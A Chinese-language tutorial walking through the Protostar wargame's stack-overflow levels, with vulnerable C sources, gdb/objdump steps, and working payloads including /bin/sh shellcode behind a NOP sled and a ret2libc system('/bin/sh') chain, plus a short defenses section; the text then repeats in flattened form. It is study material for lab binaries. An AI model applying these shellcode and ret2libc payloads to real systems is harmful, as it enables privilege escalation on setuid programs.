Protostar二进制靶场栈溢出题目原理及基础解析
字数 2344 2025-08-29 08:30:36

Protostar二进制靶场栈溢出题目解析与教学文档

1. 简介

Protostar是Exploit Exercises系列中的一个入门级二进制漏洞利用靶场,特别适合学习栈溢出漏洞利用技术。本教学文档将详细解析Protostar靶场中的栈溢出题目(Stack0-Stack7),涵盖从基础概念到实际利用的全过程。

2. 环境准备

2.1 实验环境部署

  1. 下载Protostar的VM镜像文件
  2. 使用VMware或VirtualBox加载镜像
  3. 启动虚拟机后通过SSH连接:
    ssh user@<虚拟机IP>
    
  4. 输入密码后执行/bin/bash获取更好的shell体验

2.2 题目位置

所有题目位于:

/opt/protostar/bin/

2.3 基本工具

  • gdb:GNU调试器,用于动态分析程序
  • objdump:查看程序汇编代码
  • python:编写漏洞利用脚本
  • echo:简单测试输入

3. 基础知识

3.1 栈(stack)基础

栈是一种后进先出(LIFO)的数据结构,在程序执行中用于:

  • 存储函数调用的返回地址
  • 传递函数参数
  • 存储局部变量
  • 保存寄存器状态

栈的增长方向是从高地址向低地址。

3.2 寄存器

x86架构中的重要寄存器:

  • EIP:指令指针,存储下一条要执行的指令地址
  • ESP:栈指针,指向栈顶
  • EBP:基址指针,指向当前栈帧的基址
  • EAX、EBX、ECX、EDX:通用寄存器

3.3 缓冲区溢出原理

当向固定大小的缓冲区写入超过其容量的数据时,多余的数据会覆盖相邻内存区域,可能改变程序执行流程。

3.4 setuid程序

setuid程序运行时具有文件所有者(通常是root)的权限,即使由普通用户执行。这使得利用这类程序的漏洞可以提升权限。

4. 题目解析

4.1 Stack Zero

目标:通过缓冲区溢出修改modified变量的值

源代码分析

int main(int argc, char **argv) {
    volatile int modified;
    char buffer[64];

    modified = 0;
    gets(buffer);

    if(modified != 0) {
        printf("you have changed the 'modified' variable\n");
    } else {
        printf("Try again?\n");
    }
}

漏洞点

  • 使用不安全的gets()函数,不检查输入长度
  • buffer数组只有64字节,但输入可以更长

利用方法

  1. 计算需要多少输入才能覆盖modified变量
  2. 通过gdb分析内存布局:
    gdb ./stack0
    disas main
    
  3. 发现需要68字节填充(64字节buffer + 4字节modified)
  4. 构造payload:
    python -c "print 'A'*68" | ./stack0
    

4.2 Stack One

目标:将modified变量设置为特定值0x61626364("abcd")

源代码分析

int main(int argc, char **argv) {
    volatile int modified;
    char buffer[64];

    modified = 0;
    strcpy(buffer, argv[1]);

    if(modified == 0x61626364) {
        printf("you have correctly got the variable to the right value\n");
    } else {
        printf("Try again, you got 0x%08x\n", modified);
    }
}

关键点

  • 使用命令行参数作为输入
  • 需要精确控制modified的值
  • x86是小端序,输入应为"dcba"

利用方法

  1. 计算偏移量:64字节buffer + 4字节modified
  2. 构造payload:
    ./stack1 $(python -c "print 'A'*64 + '\x64\x63\x62\x61'")
    

4.3 Stack Two

目标:通过环境变量设置modified变量为0x0d0a0d0a

源代码分析

int main(int argc, char **argv) {
    volatile int modified;
    char buffer[64];
    char *variable;

    variable = getenv("GREENIE");

    if(variable == NULL) {
        errx(1, "please set the GREENIE environment variable\n");
    }

    modified = 0;
    strcpy(buffer, variable);

    if(modified == 0x0d0a0d0a) {
        printf("you have correctly modified the variable\n");
    } else {
        printf("Try again, you got 0x%08x\n", modified);
    }
}

利用方法

  1. 设置环境变量:
    export GREENIE=$(python -c "print 'A'*64 + '\x0a\x0d\x0a\x0d'")
    
  2. 运行程序:
    ./stack2
    

4.4 Stack Three

目标:通过覆盖函数指针执行win()函数

源代码分析

void win() {
    printf("code flow successfully changed\n");
}

int main(int argc, char **argv) {
    volatile int (*fp)();
    char buffer[64];

    fp = 0;
    gets(buffer);

    if(fp) {
        printf("calling function pointer, jumping to 0x%08x\n", fp);
        fp();
    }
}

关键点

  • 需要找到win()函数的地址
  • 覆盖函数指针fp

利用步骤

  1. 获取win()函数地址:
    objdump -d stack3 | grep win
    
    或使用gdb:
    gdb ./stack3
    print win
    
  2. 构造payload(64字节buffer + 4字节fp):
    python -c "print 'A'*64 + '\x24\x84\x04\x08'" | ./stack3
    

4.5 Stack Four

目标:通过覆盖返回地址执行win()函数

源代码分析

void win() {
    printf("code flow successfully changed\n");
}

int main(int argc, char **argv) {
    char buffer[64];
    gets(buffer);
}

关键点

  • 没有明显的函数指针可以覆盖
  • 需要覆盖main函数的返回地址
  • 需要计算精确的偏移量

利用步骤

  1. 确定偏移量:
    • 使用gdb分析,发现需要76字节覆盖返回地址
  2. 获取win()函数地址:
    objdump -d stack4 | grep win
    
  3. 构造payload:
    python -c "print 'A'*76 + '\xf4\x83\x04\x08'" | ./stack4
    

4.6 Stack Five

目标:执行任意shellcode获取root shell

源代码分析

int main(int argc, char **argv) {
    char buffer[64];
    gets(buffer);
}

利用技术

  • 经典的栈溢出执行shellcode
  • 需要覆盖返回地址指向shellcode
  • 需要考虑地址随机化(ASLR)问题(Protostar默认关闭)

利用步骤

  1. 确定偏移量:80字节
  2. 确定shellcode在栈中的地址
  3. 构造payload:
    • NOP sled + shellcode + 填充 + 返回地址

示例payload

import struct

padding = "A"*76
eip = struct.pack("I", 0xbffff7c0)  # 指向NOP sled的地址
nopsled = "\x90"*100
shellcode = (
    "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
)

print padding + eip + nopsled + shellcode

执行方法

(python stack5-exp.py; cat) | ./stack5

4.7 Stack Six & Seven

目标:绕过限制执行ret2libc攻击

源代码分析(Stack Six)

void what_now() {
    printf("Congratulations, you've completed this level\n");
}

void getpath() {
    char buffer[64];
    unsigned int ret;
    
    printf("input path please: "); fflush(stdout);
    gets(buffer);
    
    ret = __builtin_return_address(0);
    
    if((ret & 0xbf000000) == 0xbf000000) {
        printf("bzzzt (%p)\n", ret);
        _exit(1);
    }
    
    printf("got path %s\n", buffer);
}

int main(int argc, char **argv) {
    getpath();
}

限制

  • 检测返回地址是否在栈空间(0xbf000000)
  • 阻止直接跳转到栈上的shellcode

ret2libc技术

  1. 跳转到libc中的system()函数
  2. 传递"/bin/sh"字符串作为参数

利用步骤

  1. 获取system()和"/bin/sh"地址:
    gdb ./stack6
    (gdb) p system
    (gdb) find &system,+9999999,"/bin/sh"
    
  2. 构造payload:
    • 覆盖返回地址为system()
    • 后面跟着退出地址(可以是任意值)
    • 然后是"/bin/sh"地址

示例payload

import struct

padding = "A"*80
system = struct.pack("I", 0xb7ecffb0)
exit = struct.pack("I", 0xb7ec60c0)
binsh = struct.pack("I", 0xb7fb63bf)

print padding + system + exit + binsh

Stack Seven与Stack Six类似,只是增加了更多限制,可以使用相同技术,但需要添加ROP gadget(如ret指令)来绕过限制。

5. 防御技术简介

虽然Protostar靶场关闭了现代防护机制,但了解这些防御技术很重要:

  1. 栈保护(Stack Canary):在栈中插入随机值,函数返回前验证
  2. 地址随机化(ASLR):随机化内存布局,使地址难以预测
  3. NX/DEP:数据区域不可执行,阻止shellcode执行
  4. RELRO:保护GOT表不被覆盖

6. 总结

Protostar靶场提供了一个绝佳的栈溢出学习环境,通过这8个题目,我们学习了:

  1. 基本的缓冲区溢出原理
  2. 覆盖局部变量
  3. 覆盖函数指针
  4. 覆盖返回地址
  5. 执行shellcode
  6. ret2libc技术
  7. 绕过各种保护机制

掌握这些基础知识是二进制漏洞利用的第一步,为进一步学习更复杂的漏洞利用技术打下坚实基础。

Protostar二进制靶场栈溢出题目解析与教学文档 1. 简介 Protostar是Exploit Exercises系列中的一个入门级二进制漏洞利用靶场,特别适合学习栈溢出漏洞利用技术。本教学文档将详细解析Protostar靶场中的栈溢出题目(Stack0-Stack7),涵盖从基础概念到实际利用的全过程。 2. 环境准备 2.1 实验环境部署 下载Protostar的VM镜像文件 使用VMware或VirtualBox加载镜像 启动虚拟机后通过SSH连接: 输入密码后执行 /bin/bash 获取更好的shell体验 2.2 题目位置 所有题目位于: 2.3 基本工具 gdb:GNU调试器,用于动态分析程序 objdump:查看程序汇编代码 python:编写漏洞利用脚本 echo:简单测试输入 3. 基础知识 3.1 栈(stack)基础 栈是一种后进先出(LIFO)的数据结构,在程序执行中用于: 存储函数调用的返回地址 传递函数参数 存储局部变量 保存寄存器状态 栈的增长方向是从高地址向低地址。 3.2 寄存器 x86架构中的重要寄存器: EIP:指令指针,存储下一条要执行的指令地址 ESP:栈指针,指向栈顶 EBP:基址指针,指向当前栈帧的基址 EAX、EBX、ECX、EDX:通用寄存器 3.3 缓冲区溢出原理 当向固定大小的缓冲区写入超过其容量的数据时,多余的数据会覆盖相邻内存区域,可能改变程序执行流程。 3.4 setuid程序 setuid程序运行时具有文件所有者(通常是root)的权限,即使由普通用户执行。这使得利用这类程序的漏洞可以提升权限。 4. 题目解析 4.1 Stack Zero 目标 :通过缓冲区溢出修改 modified 变量的值 源代码分析 : 漏洞点 : 使用不安全的 gets() 函数,不检查输入长度 buffer 数组只有64字节,但输入可以更长 利用方法 : 计算需要多少输入才能覆盖 modified 变量 通过gdb分析内存布局: 发现需要68字节填充(64字节buffer + 4字节modified) 构造payload: 4.2 Stack One 目标 :将 modified 变量设置为特定值 0x61626364 ("abcd") 源代码分析 : 关键点 : 使用命令行参数作为输入 需要精确控制 modified 的值 x86是小端序,输入应为"dcba" 利用方法 : 计算偏移量:64字节buffer + 4字节modified 构造payload: 4.3 Stack Two 目标 :通过环境变量设置 modified 变量为 0x0d0a0d0a 源代码分析 : 利用方法 : 设置环境变量: 运行程序: 4.4 Stack Three 目标 :通过覆盖函数指针执行 win() 函数 源代码分析 : 关键点 : 需要找到 win() 函数的地址 覆盖函数指针 fp 利用步骤 : 获取 win() 函数地址: 或使用gdb: 构造payload(64字节buffer + 4字节fp): 4.5 Stack Four 目标 :通过覆盖返回地址执行 win() 函数 源代码分析 : 关键点 : 没有明显的函数指针可以覆盖 需要覆盖main函数的返回地址 需要计算精确的偏移量 利用步骤 : 确定偏移量: 使用gdb分析,发现需要76字节覆盖返回地址 获取 win() 函数地址: 构造payload: 4.6 Stack Five 目标 :执行任意shellcode获取root shell 源代码分析 : 利用技术 : 经典的栈溢出执行shellcode 需要覆盖返回地址指向shellcode 需要考虑地址随机化(ASLR)问题(Protostar默认关闭) 利用步骤 : 确定偏移量:80字节 确定shellcode在栈中的地址 构造payload: NOP sled + shellcode + 填充 + 返回地址 示例payload : 执行方法 : 4.7 Stack Six & Seven 目标 :绕过限制执行ret2libc攻击 源代码分析(Stack Six) : 限制 : 检测返回地址是否在栈空间(0xbf000000) 阻止直接跳转到栈上的shellcode ret2libc技术 : 跳转到libc中的 system() 函数 传递"/bin/sh"字符串作为参数 利用步骤 : 获取 system() 和"/bin/sh"地址: 构造payload: 覆盖返回地址为 system() 后面跟着退出地址(可以是任意值) 然后是"/bin/sh"地址 示例payload : Stack Seven 与Stack Six类似,只是增加了更多限制,可以使用相同技术,但需要添加ROP gadget(如ret指令)来绕过限制。 5. 防御技术简介 虽然Protostar靶场关闭了现代防护机制,但了解这些防御技术很重要: 栈保护(Stack Canary) :在栈中插入随机值,函数返回前验证 地址随机化(ASLR) :随机化内存布局,使地址难以预测 NX/DEP :数据区域不可执行,阻止shellcode执行 RELRO :保护GOT表不被覆盖 6. 总结 Protostar靶场提供了一个绝佳的栈溢出学习环境,通过这8个题目,我们学习了: 基本的缓冲区溢出原理 覆盖局部变量 覆盖函数指针 覆盖返回地址 执行shellcode ret2libc技术 绕过各种保护机制 掌握这些基础知识是二进制漏洞利用的第一步,为进一步学习更复杂的漏洞利用技术打下坚实基础。